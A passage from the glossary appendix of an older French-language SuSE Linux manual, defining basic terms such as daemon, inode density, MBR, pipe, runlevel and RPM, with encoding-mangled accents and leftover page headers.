de privilΦge le plus bas), ce sont les applications (mΩme celles du
super-utilisateur) qui travaillent. En outre, depuis la famille de pro-
cesseurs 386, on peut utiliser des segments qui recouvrent la totalitΘ
de la zone d'adressage et rendent possibles des modΦles de mΘmoires
linΘaires (flatmodel). C'est dans ce mode d'exΘcution que le CPU at-
teint le maximum de sa performance. Linux n'utilise le processeur que
dans le ``mode protΘgΘ'' du 386 (ou supΘrieur).
Linux est actuellement disponible pour les architectures basΘes sur les
processeurs : Intel, x86, DECalpha, Motorola m68k, Sparc, PowerPC,
MIPS, ARM.
Curseur
Le curseur est en gΘnΘral un petit ΘlΘment graphique en forme de bloc qui
marque l'emplacement o∙ se fait la saisie. Sous Linux, ce terme apparaεt
dans les contextes suivants :
~ InterprΘteur de commandes/╔diteur : Un petit rectangle ou un trait
(clignotant) marque l'emplacement o∙ seront inscrits les caractΦres au
*
* 513
B. Glossaire _________________________________________________________________________________________________________________*
*_______________________________________@
moyen du clavier. Sous l'interprΘteur de commandes, le curseur est
situΘ sur le c⌠tΘ droit α c⌠tΘ de l'+ invite.
~ Curseur de souris sous X : C'est le pointeur de la souris sous X. Il
change de forme selon le fond sur lequel il se trouve. Il a par exemple
la forme d'une flΦche dans un xterm, la forme d'un ``X'' sur un fond
d'Θcran et la forme d'un ``I'' dans une fenΩtre d'+ Θditeur.
~ Curseur GPM (console) : C'est un bloc de la taille d'un caractΦre qui,
au moyen du programme GPM sur la + Console, peut Ωtre positionnΘ
par dΘplacement de la souris et permet d'effectuer des opΘrations de
couper/coller (+ sΘlection).
Daemon
+ dΘmon
DΘmon
Un dΘmon (angl. daemon = Disk and execution monitor) est un pro-
gramme qui veille en arriΦre-plan et entre en action en cas de besoin. Ces
dΘmons rΘpondent par exemple aux requΩtes FTP ou HTTP et contr⌠lent
aussi les activitΘs dans les emplacements d'enfichage des cartes PCM-
CIA.
DensitΘ des i-noeuds
La ``densitΘ des i-noeuds'' rΘsulte de l'Θvaluation de la taille moyenne de
fichiers que l'on peut s'attendre α trouver sur une partition dΘterminΘe.
Les valeurs par dΘfaut prΘvues par YaST permettent gΘnΘralement de rΘa-
liser un travail efficace et peuvent donc Ωtre conservΘes. Ce terme dΘ-
route trΦs souvent les nouveaux venus sous Linux car la densitΘ est haute
lorsque la valeur pour la densitΘ des i-noeuds est minime : dans ce cas un
plus grand nombre d'i-noeuds est mis α disposition.
Device
Voir pΘriphΘrique
E-Mail (angl. electronic mail)
MΘthode de transmission de messages entre utilisateurs d'un systΦme
d'ordinateurs intΘgrΘs dans un rΘseau. Tout comme pour le courrier postal
sur papier (trΦs souvent appelΘ (angl. snail mail) pour sa lenteur d'escar-
got), le destinataire doit Ωtre spΘcifiΘ : vous devez indiquer son adresse
Θlectronique ou adresse E-mail. Le courrier Θlectronique (E-mail) permet
de transmettre non seulement des textes mais aussi des documents so-
nores et des images. L'avantage du courrier Θlectronique rΘside dans le
fait qu'il est peu onΘreux et que la plupart des messages peuvent parvenir
au destinataire quelques minutes aprΦs l'expΘdition.
╔diteur
Les Θditeurs sont des programmes permettant de modifier des fichiers en
introduisant par exemple des donnΘes textuelles. GNU Emacs (emacs )
ou l'Θditeur UNIX vi (voir paragraphe 19.15 page 506) sont des Θditeurs
polyvalents bien connus sous Linux. Si vous ne connaissez jusqu'α prΘ-
sent aucun de ces deux Θditeurs, essayez joe ~ l'Θditeur joe est compatible
WordStar : : :
514
________________________________________________________________________________________________________________B.__Glossair*
*e_____________________
ELF (angl. Executable and Linking Format)
ELF est aussi pour Linux le format binaire standard. Avec ce format,
il est plus facilement possible qu'avec l'ancien format a.out de crΘer
par exemple des ``bibliothΦques partagΘes'' . Pour plus de dΘtails, voir le
HowTo /usr/doc/howto/en/ELF-HOWTO.gz.
Encryptage (angl. encryption)
L'encryptage de donnΘes permet de cacher α des tierces personnes le
contenu d'un fichier. Ceci est toujours opportun pour le transfert de don-
nΘes α travers des connexions offrant peu de sΘcuritΘ (par exemple Inter-
net) si l'on souhaite Θviter que des tiers non autorisΘs puissent prendre
connaissance des donnΘes transmises (par exemple numΘros de cartes de
crΘdit, mots de passe, informations confidentielles, etc.). La longueur de
la clΘ d'encodage a une importance primordiale pour la sΘcuritΘ du chif-
frement (une clΘ d'une longueur insuffisante peut Ωtre ``cassΘe'' par des
programmes appropriΘs).
Il existe dans quelques pays des restrictions lΘgales α l'encryptage des
donnΘes. De ce fait, l'utilisation de certains programmes tels que SSH ,
PGP ou les accΦs Web au moyen de SSL sont soit interdits dans ces pays,
soit soumis α des limites s'appliquant α la longueur de la clΘ1 .
Bien que SuSE offre les programmes mentionnΘs ci-dessus dans sa distri-
bution (dans la mesure o∙ ceci n'est pas contraire α la lΘgislation du pays
concernΘ), il vous incombe de vΘrifier vous-mΩme si vous Ωtes autorisΘ α
les utiliser dans votre pays. SuSE n'assume aucune responsabilitΘ.
EntrΘe/sortie standard (angl. standard input / output)
Chaque processeur possΦde 3 canaux sur lesquels il peut lire ou Θcrire des
donnΘes. Il s'agit du canal d'entrΘe standard (stdin), du canal de sortie
standard (stdout) et du canal d'erreur standard (stderr). Ces canaux sont
dirigΘs par dΘfaut vers certains pΘriphΘriques, l'entrΘe standard vers le
clavier, la sortie standard et le canal d'erreur standard vers l'Θcran. └
l'aide de l'interprΘteur de commandes (shell), il est possible de rediriger
ces canaux. On parle par exemple d'une redirection de l'entrΘe standard
si les caractΦres proviennent d'un fichier et non pas du clavier. Lorsqu'on
utilise un interprΘteur de commandes, la redirection est symbolisΘe par
les caractΦres `<' (canal d'entrΘe), `>' (canal de sortie) `2>' (canal
d'erreur). Voir aussi + Pipe.
Environnnement (angl. environment)
Un + interprΘteur de commandes procure en rΦgle gΘnΘrale un environ-
nement dans lequel l'utilisateur peut temporairement effectuer certaines
opΘrations. Ces opΘrations concernent par exemple les noms de chemin
d'accΦs aux programmes, le nom de l'utilisateur, le chemin courant, l'in-
vite, etc. Ces donnΘes sont insΘrΘes dans une + variable d'environnement.
Ces variables d'environnement peuvent Ωtre assignΘes, par exemple, par
les fichiers de configuration de l'interprΘteur de commandes.
1 ____________________________________________________
N.d.l.T : En France la longueur de clΘ ne doit pas dΘpasser 128 bits. Pour plus d'informations,
visitez le site du SCSSI : http://www.scssi.gouv.fr/present/chiffre/legal.html
*
* 515
B. Glossaire _________________________________________________________________________________________________________________*
*_______________________________________@
Ethernet
MatΘriel rΘseau trΦs rΘpandu pour + LAN avec structure de type bus, auto-
risant α l'origine des transferts α 10 Mbps par cΓblage coaxial (10 base 2
ou 10 base 5). Il est toutefois courant aujourd'hui de voir aussi des rΘseaux
basΘs sur le cΓblage α paires torsadΘes (angl. twisted pair) permettant jus-
qu'α 100 Mbps (100 base T) avec une topologie en forme d'Θtoile.
EXT2 (angl. second extended Filesystem)
C'est le systΦme de fichiers standard utilisΘ par Linux. Il se distingue par
de hautes performances, des noms de fichiers longs, des droits d'accΦs
ainsi que par les tolΘrances aux erreurs.
FAI (angl. ISP)
Acronyme pour ``Fournisseur d'AccΦs Internet''. Entreprise de communi-
cation qui procure l'accΦs α Internet par exemple au moyen d'un modem.
FenΩtre (angl. window)
Les fenΩtres sont des portions d'Θcran rectangulaires gΘnΘralement entou-
rΘes par un cadre. Ces cadres contiennent le plus souvent des ΘlΘments
dΘcoratifs permettant par exemple de modifier la taille et la position de la
fenΩtre sur l'Θcran. Pour pouvoir travailler avec des fenΩtres sous Linux,
il est nΘcessaire de disposer d'un + serveur X et d'un + gestionnaire de
fenΩtres.
Fichier (angl. file)
Sous Linux, le fichier constitue le concept central du traitement des don-
nΘes. Tout comme sous d'autres systΦmes, les fichiers servent en premier
lieu α stocker les donnΘes dans les mΘmoires de masse. Un nom de fichier
doit Ωtre unique dans le rΘpertoire qui abrite ce fichier. Le + systΦme de
fichiers permet un classement hiΘrarchique des fichiers. Recherchez aussi
dans le prΘsent glossaire d'autres informations sur les noms de fichiers.
Il existe en outre sous Linux d'autres fichiers spΘciaux. Voir α ce sujet +
lien, + pΘriphΘrique et + Proc.
Focus (angl. focus)
On dit qu'un ΘlΘment de contr⌠le, comme par exemple la ligne de com-
mande d'un + terminal, possΦde le focus lorsque les donnΘes entrΘes α
l'aide du clavier sont transmises α cet ΘlΘment. La plupart du temps, le
focus est liΘ α la position du + curseur. La maniΦre dont un gestionnaire
de fenΩtres gΦre le focus est appelΘe gestion de focus (angl. focus policy).
On distingue ici le focus qui suit toujours le curseur de souris et le focus
qui n'est transmis α un ΘlΘment de contr⌠le que s'il est activΘ par un clic
sur le bouton de la souris.
FTP (angl. file transfer protocol)
FTP est la mΘthode utilisΘe sous UNIX pour transfΘrer des fichiers d'une
machine α une autre. Ce transfert concerne le serveur FTP (la machine qui
fournit les donnΘes) et le client FTP (la machine qui reτoit les donnΘes).
Gestionnaire de fenΩtres (angl. window manager)
Le gestionnaire de fenΩtres est utilisΘ sous le + systΦme X Window pour la
516
________________________________________________________________________________________________________________B.__Glossaire_*
*____________________
manipulation des + fenΩtres, ouverture, fermeture, dΘplacement, reprΘsen-
tation sous forme d'ic⌠nes etc. TrΦs souvent les gestionnaires de fenΩtres
offrent des fonctions supplΘmentaires telles que par exemple des barres
d'outils (angl. toolbars) qui hΘbergent des ic⌠nes permettant le lancement
de certaines applications.
GNU
GNU est l'acronyme de GNU is Not Unix qui est un projet de la Free
Software Foundation (FSF) . L'objectif du ``projet GNU'', auquel le nom
de Richard Stallman (RMS ) est Θtroitement liΘ, est la crΘation d'un
systΦme d'exploitation ``libre'' compatible Unix, le mot ``free'' Θtant em-
ployΘ ici beaucoup moins dans le sens de ``gratuit'' que de ``libre'' pour
ce qui concerne le droit d'accΦs aux programmes ainsi que le droit de
les utiliser et de les modifier. Pour que la libertΘ du texte source, c'est-
α-dire du code des programmes, soit respectΘe, toute modification doit
Θgalement Ωtre ``libre''. La libertΘ d'un logiciel ne doit donc pas Ωtre
restreinte par la modification ou l'ajout d'un code de programme. Il
est expliquΘ dans le manifeste GNU classique comment cela peut Ωtre
garanti (http://www.gnu.org/gnu/manifesto.html). Les logiciels
GNU sont juridiquement protΘgΘs par la ``GPL'' (http://www.gnu.org/
copyleft/gpl.html, voir annexe G page 549 et pages suivantes) ou par
la LGPL (http://www.gnu.org/copyleft/lgpl.html).
Dans le cadre du ``projet GNU'', tous les programmes auxiliaires Unix
font l'objet d'un nouveau dΘveloppement et sont en partie dotΘs d'une
fonctionnalitΘ plus complΦte ou amΘliorΘe. Mais certains systΦmes logi-
ciels complexes (par exemple Emacs ou la glibc ) sont aussi au centre du
``projet''.
Le noyau + Linux, soumis aux termes de la GPL, profite de ce dΘveloppe-
ment (en particulier des outils) mais il ne doit pas Ωtre confondu avec le
projet lui-mΩme.
I-noeud
Les i-noeuds servent au systΦme de fichiers + EXT2 α gΘrer les infor-
mations concernant les fichiers stockΘs sur le disque dur. Les i-noeuds
contiennent en outre d'autres informations telles que l'identifiant du pro-
priΘtaire du fichier, les droits accordΘs, les dates de modification etc.
Interface
GΘnΘralement, l'interface dΘsigne le pΘriphΘrique par lequel les diffΘrents
systΦmes Θchangent des informations. Une telle interface peut Ωtre par
exemple le clavier qui est en quelque sorte le lieu de rencontre de l'homme
et de la machine. Cette notion est toutefois trΦs abstraite et l'on peut
distinguer de faτon beaucoup plus concrΦte les interfaces suivantes :
~ Interface matΘrielle (angl. hardware) : elle permet de connecter des
pΘriphΘriques α la machine. Les exemples sont le port parallΦle, SCSI
et le port sΘrie.
~ Interface logicielle (angl. software) : dΘtermine de quelle maniΦre les
programmes doivent communiquer entre eux. Voir aussi + protocole.
~ Interface utilisateur : C'est ici que l'homme et la machine Θchangent
des donnΘes. Les exemples sont la souris, le moniteur et le clavier.
*
* 517
B. Glossaire _________________________________________________________________________________________________________________*
*_______________________________________@
Interface graphique (angl. graphical user interface, GUI)
L'interface graphique est la reprΘsentation du bureau de l'utilisateur (angl.
graphical / electronic desktop). L'Θcran qui doit absolument permettre des
affichages graphiques est considΘrΘ comme la surface du bureau (angl.
desktop) sur laquelle on peut poser des + fenΩtres. C'est dans ces fenΩtres
que sont exΘcutΘs les diffΘrents processus. Les ΘlΘments de contr⌠le d'une
interface graphique sont habituellement manipulΘs α l'aide de la souris,
d'un trackball ou autres dispositifs similaires. Les interfaces graphiques
bien connues sont le + systΦme X Window, le systΦme 7 de Apple MacIn-
tosh Digital Research GEM , MS-Windows .
Internet
L'Internet est un + rΘseau mondial hΘtΘrogΦne - c'est-α-dire constituΘ de
machines diffΘrentes -. L'accΦs aux machines se fait au moyen de leur
+ adresse IP (IP = Internet Protocol) qui est unique dans le monde. Les
adresses IP sont divisΘes en adresses nationales, adresses de domaines et
sous-domaines et adresse de la machine. Outre l'adresse IP numΘrique
(par exemple 192.168.0.1), il existe aussi ce que l'on nomme les alias
(par exemple soleil.cosmos.univers) qui permettent α l'utilisateur de
retenir les adresses beaucoup plus facilement. L'Internet fonctionne non
seulement au niveau matΘriel mais aussi, α l'aide de toute une sΘrie de
+ protocoles tels que ftp, http, tcp et autres, sur diffΘrents niveaux lo-
giques. Des services bien connus offerts par l'Internet sont le + courrier
Θlectronique ou le World Wide WEB (WWW ou W3 appelΘ encore toile
d'araignΘe mondiale). Un mot-clΘ essentiel liΘ α l'Internet est ``Netiquet-
te'' qui est un ensemble de rΦgles de savoir vivre nΘcessaires α une coexis-
tence bien organisΘe et peut Ωtre comprise comme un ``code d'honneur qui
s'impose de lui-mΩme''.
InterprΘteur de commandes (angl. shell)
L'interprΘteur de commandes reprΘsente une interface fondamentale au +
systΦme d'exploitation (noyau). Il permet de lancer des commandes α par-
tir d'une ligne de commande. Pour pouvoir automatiser certaines tΓches,
les interprΘteurs de commandes disposent le plus souvent d'un propre
langage de programmation. Les programmes ainsi rΘalisΘs (appelΘs shell-
scripts) peuvent Ωtre considΘrΘs comme des fichiers batch (fichiers de trai-
tement par lots) intelligents. Exemples d'interprΘteurs de commandes :
bash , sh et tcsh .
Invite (angl. prompt)
Sous un + shell, interprΘteur de commandes en mode texte, l'emplace-
ment o∙ les commandes peuvent Ωtre transmises au + systΦme d'exploi-
tation est marquΘ par l'invite. Le message d'invite peut contenir par
exemple le nom de la machine et de l'utilisateur, l'heure actuelle et
d'autres informations de ce genre. En faisant rΘapparaεtre l'invite, le sys-
tΦme d'exploitation (ou l'interprΘteur de commandes) vous signale que le
systΦme est prΩt α recevoir de nouvelles commandes.
ISDN (angl. Integrated Services Digital Network)
En franτais RNIS. RΘseau numΘrique permettant de transporter la voix,
518
________________________________________________________________________________________________________________B.__Glossaire_*
*____________________
les donnΘes ou autre chose, tout en offrant les services associΘs. Exemple :
NumΘris.
ISP (angl. Internet Service Provider)
+ FAI
LAN (angl. local area network)
+ rΘseau local
Lecteur de CD-ROM (angl. CD-ROM Drive)
Il existe plusieurs types de lecteurs de CD-ROM. Les plus rΘpandus sont
les lecteurs + ATAPI qui sont connectΘs α un contr⌠leur de disque dur
(E)IDE. En dehors de ces lecteurs, il existe encore
~ les lecteurs de CD-ROM SCSI qui sont utilisΘs par l'intermΘdiaire d'un
adaptateur h⌠te SCSI,
~ les lecteurs de CD-ROM qui peuvent Ωtre rattachΘs au port parallΦle et
~ des lecteurs de CD-ROM spΘcifiques aux diffΘrents constructeurs aux-
quels on peut accΘder par des cartes contr⌠leur ou des cartes son spΘ-
ciales.
Ce n'est que pour les lecteurs mentionnΘs en dernier que l'on doit sΘlec-
tionner des pilotes spΘciaux.
Ligne de commande
Le travail sous UNIX peut Ωtre ``orientΘ ligne de commande''. Cela signifie
que tout programme lancΘ dans un + interprΘteur de commandes peut
avoir une ligne de commande. La commande ls peut recevoir diverses
options permettant de rΘgler son comportement.
Lien
Un lien (angl. link) est une entrΘe dans un rΘpertoire pointant sur un autre
fichier. Cette entrΘe ne contient pas elle-mΩme de donnΘes. On distingue :
~ les liens symboliques qui contiennent des rΘfΘrences α des noms. Il
n'est pas essentiel que le fichier rΘfΘrencΘ existe, ni qu'il s'agisse d'un
fichier ou d'un rΘpertoire ou qu'il se trouve hors des limites du systΦme
de fichiers.
~ les liens physiques qui contiennent des rΘfΘrences α des i-noeuds. Un
lien physique ne peut faire de rΘfΘrences qu'α l'intΘrieur d'un systΦme
de fichiers et il ne doit pas se rapporter α un rΘpertoire. En outre, tous
les liens physiques sont Θquivalents α un i-noeud (ce qui signifie que
les donnΘes contenues dans le fichiers continuent α subsister tant que
le dernier lien n'a pas ΘtΘ supprimΘ).
Linux
SystΦme d'exploitation hautement performant similaire α UNIX, libre-
ment distribuΘ aux termes de la GPL (+ GNU). Son nom (``Linus' uniX'')
est un + acronyme dΘrivΘ du nom de son crΘateur Linus Torvalds.
Linux initial
Lors de l'installation, on lance d'abord le Linux initial. Il n'a pas besoin
du disque dur qui, α ce stade, n'est pas encore accessible. Son noyau
*
* 519
B. Glossaire _________________________________________________________________________________________________________________*
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provient de la disquette d'amorτage ou du CD-ROM, l'image de root est
chargΘe sur un disque RAM (Θgalement α partir du CD-ROM ou de la
disquette root). Les autres programmes (par exemple YaST ) proviennent
directement du disque RAM.
AprΦs le premier login, on lance YaST et on prΘpare l'installation du
vΘritable Linux.
Manpage
+ Page de man
MBR (angl. master boot record)
Secteur maεtre d'amorτage. C'est le premier secteur physique (cylindre 0,
tΩte 0, secteur 1) de l'un des disques durs dans le systΦme (premier disque
avec le numΘro de pΘriphΘrique BIOS 0x80). Chaque disque dur possΦde
un MBR mais les + BIOS ne peuvent pas tous dΘmarrer le systΦme d'ex-
ploitation concernΘ α partir de chaque disque dur. Lors de l'amorτage
depuis un disque dur, le BIOS charge le contenu du MBR en mΘmoire α
une adresse dΘterminΘe et il lui passe le contr⌠le. Ce code charge soit le
systΦme d'exploitation α partir d'une partition de disque dur amorτable,
soit un chargeur (angl. bootloader) complexe tel que par exemple LILO .
MΘmoire
La mΘmoire est en quelque sorte le cerveau de votre machine. On parle
trΦs souvent de mΘmoire de travail ou mΘmoire centrale (angl. main me-
mory). Sous Linux on distingue couramment deux types de mΘmoire :
~ la mΘmoire physique : contenue dans votre machine sous forme de
puces mΘmoire. Sa taille pour stations de travail est typiquement ac-
tuellement de 64 Mo α 256 Mo. On peut accΘder trΦs rapidement aux
fichiers stockΘs en + RAM.
~ la mΘmoire virtuelle : par le concept de mΘmoire virtuelle, le systΦme
peut considΘrer aussi certains espaces spΘciaux du disque dur ou de
la disquette comme mΘmoire de travail supplΘmentaire (+ mΘmoire
d'Θchange).
MΘmoire d'Θchange
C'est la zone de mΘmoire de masse nΘcessaire lorsque l'on utilise la mΘ-
moire virtuelle. Elle sert au transfert temporaire de pages de mΘmoire
vive (+ RAM). Sous Linux, cela peut Ωtre une partition spΘciale ou un
fichier. Grosso modo, la mΘmoire vive physique RAM et la mΘmoire ren-
due disponible par le swap constituent ensemble la quantitΘ maximale de
mΘmoire virtuelle disponible.
MΘmoire de masse (angl. mass storage)
C'est un terme global pour dΘsigner un grand nombre de supports de
stockage de donnΘes souvent trΦs diffΘrents les uns des autres.
Les supports typiques sont les disquettes, les disques durs, les bandes
magnΘtiques, les CD-ROM, les disques magnΘto-optiques, les supports
holographiques et quelques autres.
MΘmoire de travail (angl. memory)
+ MΘmoire.
520
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Menu
Lorsqu'on utilise une + interface graphique, on peut accΘder α plusieurs
fonctions d'un programme en passant par un menu. Les menus (tout
comme la carte au restaurant) prΘsentent un choix de commandes et op-
tions que l'utilisateur peut sΘlectionner et faire exΘcuter. Le plus souvent,
un programme possΦde une barre de menu (angl. menu bar) avec des
sous-menus. Il existe par ailleurs des menus pop-up (menus surgissants
ou flottants) qui jaillissent sur le fond d'Θcran et sont appelΘs par un clic
de la souris.
MIME
``Multipurpose Internet Mail Extensions'' ~ conτue au dΘpart pour fournir
des extensions E-mail (par exemple son ou images), cette technologie peut
Ωtre aussi utilisΘe au delα de ces limites.
Montage
C'est ainsi que l'on dΘsigne le ``rattachement'' de systΦmes de fichiers
dans l'arborescence du systΦme. Comme + point de montage, on se sert
en rΦgle gΘnΘrale d'un rΘpertoire vide. Voir aussi α ce sujet le para-
graphe 19.11.2 page 500.
MultitΓche
Les systΦmes d'exploitation pouvant exΘcuter simultanΘment plus d'un
+ programme sont appelΘs systΦmes multitΓches (angl. task = tΓche). On
distingue deux formes de multitΓches :
~ le multitΓche concurrent : Le systΦme d'exploitation est responsable
de la rΘpartition du temps CPU entre les diffΘrents processus. Une
variante particuliΦre est le multitΓche ``prΘemptif''
~ le multitΓche coopΘratif : Les processus restituent eux-mΩme leur
temps CPU pour permettre de le rΘpartir.
Comme nous pouvons le voir, la premiΦre variante constitue la meilleure
solution car elle ne permet α aucun processus de s'accaparer la totalitΘ du
temps CPU. Linux est un systΦme multitΓche prΘemptif.
Multiutilisateur (angl. multiuser)
Le + multitΓche est indispensable pour permettre α plusieurs utilisateurs
de travailler simultanΘment sur la mΩme machine. Un systΦme d'exploi-
tation qui offre cette possibilitΘ est appelΘ un systΦme multiutilisateur.
Multiprocessing
Si la machine sur laquelle tourne un systΦme d'exploitation fonctionne
avec plus d'un + processeur, on parle d'un systΦme multiprocesseur (angl.
multiprocessing). Sous Linux, vous rencontrerez souvent le terme SMP
qui signifie symetric multi processing et constitue une forme spΘciale du
mode multiprocesseur.
NFS (angl. network file system)
Protocole pour l'accΦs aux systΦmes de fichiers de machines connectΘes
α un rΘseau. Du c⌠tΘ du serveur, il est spΘcifiΘ dans le fichier de confi-
guration /etc/exports quelle machine est autorisΘe α accΘder α quelle
*
* 521
B. Glossaire _________________________________________________________________________________________________________________*
*_______________________________________@
arborescence des rΘpertoires du serveur. Le client peut alors ``rattacher''
ces rΘpertoires α son arborescence (voir + montage).
Niveau d'exΘcution (angl. runlevel)
C'est le terme employΘ habituellement sous Unix pour dΘfinir le niveau
jusqu'auquel le systΦme doit monter aprΦs l'amorτage ou jusqu'auquel il
doit descendre (si l'on souhaite effectuer un changement). C'est le pro-
gramme init qui prend en charge les changements de niveaux. Dans son
fichier de configuration /etc/inittab, chaque niveau (angl. level) est
associΘ α certains services. Le niveau le plus bas, par exemple runlevel 1
ne met α disposition que le mode mono-utilisateur, le Runlevel 2 permet
le mode multiutilisateur et ainsi de suite.
Noyau
Le noyau est le ``coeur'' de l'ensemble du systΦme. C'est dans le noyau
que se rejoignent tous les fils : la gestion de la mΘmoire, la table des pro-
cessus, les fonctions multitΓches et multiutilisateurs, les accΦs aux sys-
tΦmes de fichiers, les pilotes permettant d'accΘder au matΘriel etc. Ces
fonctionnalitΘs peuvent Ωtre, en partie, rΘalisΘes sous forme de ``modu-
les'', voir chapitre 13 page 359.
Page de man
Pour les systΦmes Unix, la documentation se trouve traditionnellement
dans les ``pages de man'' que l'on peut visualiser avec la commande man .
Pour l'utilisation des pages de man, voir paragraphe 19.9 page 494.
PC (angl. personal computer)
Contrairement au macro-ordinateur, c'est un petit ordinateur ``personnel''.
Depuis les annΘes 80, on entend en gΘnΘral par ce terme le petit ordinateur
IBM basΘ sur Intel x86/88, bien que le tout premier de ce type ait ΘtΘ un
Apple .
PΘriphΘrique
Sous Linux, on accΦde aux pΘriphΘriques (angl. devices) au moyen d'en-
trΘes spΘciales dans le systΦme de fichiers, sous /dev/. Ces entrΘes
contiennent les numΘros de pΘriphΘriques qui permettent au + noyau d'at-
teindre les pilotes de pΘriphΘriques.
Pipe
Le pipe (appelΘ quelquefois tube ou tuyau) est la connexion directe entre
le canal de sortie standard d'un processus (+ programme) et le canal
d'entrΘe standard (+ entrΘe/sortie standard) de son successeur. Ceci Θvite
de stocker dans un fichier temporaire les donnΘes devant Ωtre traitΘes par
le second processus. Sous l'+ interprΘteur de commandes, les processus
concernΘs par un pipe sont Θcrits dans l'ordre dans lequel il doivent Ωtre
exΘcutΘs et sont sΘparΘs les uns des autres par une barre verticale appelΘe
pipe `|' (ASCII 124).
Point de montage
On dΘsigne par point de montage le rΘpertoire par lequel une partition ou
un autre pΘriphΘrique est rattachΘ α l'arborescence des rΘpertoires Linux.
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Proc
Le systΦme de fichiers /proc, contrairement α un systΦme de fichiers sur
support de donnΘes, ne contient pas de donnΘes statiques. Il crΘe celles-ci
de faτon dynamique α partir des informations du noyau. Il est principa-
lement utilisΘ pour fournir aux programmes du systΦme (par exemple ps ,
mount ) les donnΘes actuelles contenues dans le noyau ou pour permettre
des modifications de paramΦtres pendant le temps d'exΘcution.
Processeur
+ CPU
Processus (angl. process)
Un processus est en quelque sorte la variante ``vivante'' d'un programme
ou d'un fichier exΘcutable (+ interprΘteur de commandes). Ce terme est
souvent employΘ comme synonyme de tΓche.
Programme
DΘsigne une suite d'instructions cohΘrentes et logiques donnΘes α un or-
dinateur qui les comprend. Elles peuvent se prΘsenter sous forme d'un
code directement exΘcutable par la machine ou sous forme de donnΘes
d'entrΘe pour un interprΘteur. Sous Linux, les fichiers qui contiennent de
telles instructions sont marquΘs par le bit x dans le champ de permissions
des fichiers. Le noyau le reconnaεt et cherche α exΘcuter ces fichiers.
Prompt
+ Invite.
Protocole (angl. protocol)
Les protocoles rΦglent, tant au niveau matΘriel qu'au niveau logiciel, la
communication entre les machines dans un + rΘseau. Ils dΘterminent le
format des donnΘes transmises, dΘfinissent dans quels intervalles de temps
une machine peut transmettre des donnΘes, quelle machine contr⌠le une
connexion etc. Quelques protocoles bien connus sont FTP, UDC, TPC,
HTTP et autres.
RAM (angl. Random Access Memory)
MΘmoire physique de capacitΘ limitΘe qui permet des accΦs de lecture et
d'Θcriture relativement rapides.
RΘinitialisation (angl. reset)
Lorsque la machine ne rΘpond plus et ne rΘagit α aucune des commandes
de l'utilisateur, elle se trouve trΦs souvent bloquΘe dans une boucle infinie.
La seule solution dans un tel cas consiste α ramener la machine dans
un Θtat de dΘpart bien dΘfini. Cette opΘration s'appelle rΘinitialisation ou
reset. AprΦs une rΘinitialisation, la machine se trouve dans l'Θtat o∙ elle
se trouvait directement aprΦs l'allumage. Il est prΘfΘrable d'effectuer une
rΘinitialisation plut⌠t que d'Θteindre et de rallumer la machine car elle est
ainsi beaucoup moins secouΘe mΘcaniquement et Θlectriquement.
IMPORTANT : Comme il est facile α comprendre, une rΘinitialisation
provoque une perte de toutes les donnΘes qui Θtaient stockΘes en mΘmoire
avant la rΘinitialisation !
RΘpertoire (angl. directory)
Les ``rΘpertoires'' constituent la structure hiΘrarchique d'un + systΦme de
*
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fichiers. Le rΘpertoire contient la liste des noms de fichiers ou de rΘper-
toires. On dit qu'un + fichier x se trouve dans un rΘpertoire y lorsque son
nom y est mentionnΘ. Le fait que dans un rΘpertoire il soit fait mention
d'autres rΘpertoires permet de structurer le systΦme de fichiers sous forme
d'une arborescence. Pour visualiser un autre rΘpertoire, on peut se dΘpla-
cer vers celui-ci. On descend ainsi d'un Θchelon dans l'arborescence. Les
fichiers sont les feuilles de cette arborescence dans lesquelles il n'est plus
possible (logiquement) de descendre. Les noms de rΘpertoires sont sou-
mis aux mΩmes restrictions que ceux des fichiers. Les noms de rΘpertoires
spΘciaux `.' et `..' dΘsignent soit le rΘpertoire lui-mΩme, soit son prΘ-
dΘcesseur dans la hiΘrarchie du systΦme de fichiers.
RΘpertoire personnel (angl. home directory)
Le rΘpertoire personnel est le point de dΘpart de la plupart des activitΘs
d'un utilisateur dans le systΦme. L'utilisateur peut y stocker des donnΘes
lui appartenant en propre. Il est seul, avec + l'administrateur systΦme, α
avoir des accΦs d'Θcriture aux fichiers de ce rΘpertoire. L'emplacement
du rΘpertoire personnel dans le systΦme de fichiers est dΘterminΘ par la
+ variable d'environnement HOME. Ce rΘpertoire est symbolisΘ par ` '
(voir paragraphe 19.6 page 486).
RΘpertoire racine (angl. root directory)
C'est le rΘpertoire situΘ au sommet du + systΦme de fichiers. Contraire-
ment α tous les autres rΘpertoires du systΦme de fichiers, le rΘpertoire
racine n'a pas de rΘpertoire pΦre. Le nom de rΘpertoire `..' se rΘfΦre α
lui-mΩme. Le rΘpertoire racine est reprΘsentΘ par `/' sous UNIX.
RΘseau (angl. net, network)
Le rΘseau est un interconnexion de plusieurs machines. Il existe diffΘ-
rentes topologies de rΘseaux selon le mode de connexion des machines :
anneau, Θtoile, bus, arbre et autres. Quelques standards matΘriels bien
connus sont Ethernet, Token-Ring ou ISDN (en France NumΘris, RNIS).
Notons parmi les protocoles logiciels (sur diffΘrentes couches rΘseau)
TCP, UDP, IPX et autres.
RΘseau Θtendu (angl. WAN, wide area network)
Contrairement au + rΘseau local, c'est un rΘseau de grande envergure qui
s'Θtend sur une vaste surface gΘographique.
RΘseau local (angl. LAN, local area network)
Un rΘseau local est un rΘseau qui s'Θtend sur un rayon de petite taille
et qui est gΘnΘralement supervisΘ par un + administrateur systΦme. Les
rΘseaux locaux sont la plupart du temps connectΘs par des passerelles
(angl. gateways) et forment ainsi un + rΘseau Θtendu.
Rlogin (angl. remote login)
Avec un remote login, on peut se connecter par + Internet sur une ma-
chine distante comme si l'on se trouvait soi-mΩme sur la + console de
cette machine. Lorsqu'un + serveur X fonctionne sur les deux machines
il est mΩme possible d'afficher localement les sorties d'une application X
en positionnant correctement la variable DISPLAY de l'environnement
distant.
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RNIS (angl. ISDN)
Acronyme pour ``RΘseau NumΘrique α IntΘgration de Services''. + ISDN
ROM (angl. Read-only Memory)
MΘmoire morte ne permettant que la lecture seule. Un CD est par exemple
une mΘmoire ROM.
Root
+ Administrateur systΦme
RPM (rpm )
└ partir de la version 5.0 de SuSE Linux, le RPM (rpm ) (angl. RPM
Package Manager) est le gestionnaire standard de paquetages. Avec rpm ,
il est possible d'installer et de dΘsinstaller des paquetages logiciels et on
peut aussi adresser des requΩtes α la base des donnΘes.
Runlevel
+ Niveau d'exΘcution
Sauvegarde (angl. backup)
+ Backup
SΘlection
La sΘlection est l'un des mΘcanismes du serveur X. Avec la souris, on peut
